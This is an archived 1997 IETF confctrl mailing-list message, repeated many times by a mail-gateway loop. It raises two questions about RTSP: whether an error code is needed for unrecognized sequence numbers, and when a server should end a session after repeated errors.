Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014619.1063.481051; Sat, 31 May 1997 01:46:20 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 30 23:47:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA28271>; Sat, 31 May 1997 00:48:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA28265>; Sat, 31 May 1997 00:48:29 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA27438>; Sat, 31 May 1997 00:48:27 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034300.1063.777390; Sat, 31 May 1997 03:47:46 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.034300.1063.777390@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 03:47:46 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014619.1063.481051; Sat, 31 May 1997 01:46:20 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034326.1063.481070; Sat, 31 May 1997 03:43:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26889>; Fri, 30 May 1997 22:50:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26883>; Fri, 30 May 1997 22:50:32 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA25806>; Fri, 30 May 1997 22:50:25 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014600.1063.777354; Sat, 31 May 1997 01:49:49 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.014600.1063.777354@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 01:49:49 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Sat May 31 01:44:26 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA01798>; Sat, 31 May 1997 02:45:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA01792>; Sat, 31 May 1997 02:45:12 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA28429>; Sat, 31 May 1997 02:45:08 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054000.1063.777410; Sat, 31 May 1997 05:44:26 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.054000.1063.777410@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 05:44:26 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014619.1063.481051; Sat, 31 May 1997 01:46:20 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034326.1063.481070; Sat, 31 May 1997 03:43:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26889>; Fri, 30 May 1997 22:50:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26883>; Fri, 30 May 1997 22:50:32 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA25806>; Fri, 30 May 1997 22:50:25 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014600.1063.777354; Sat, 31 May 1997 01:49:49 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.014600.1063.777354@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 01:49:49 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054008.1063.481086; Sat, 31 May 1997 05:40:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28271>; Sat, 31 May 1997 00:48:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28265>; Sat, 31 May 1997 00:48:29 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27438>; Sat, 31 May 1997 00:48:27 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034300.1063.777390; Sat, 31 May 1997 03:47:46 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.034300.1063.777390@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 03:47:46 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Sat May 31 03:30:58 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA03036>; Sat, 31 May 1997 04:31:47 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA03030>; Sat, 31 May 1997 04:31:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA29506>; Sat, 31 May 1997 04:31:40 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072600.1063.777423; Sat, 31 May 1997 07:30:58 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.072600.1063.777423@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 07:30:58 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
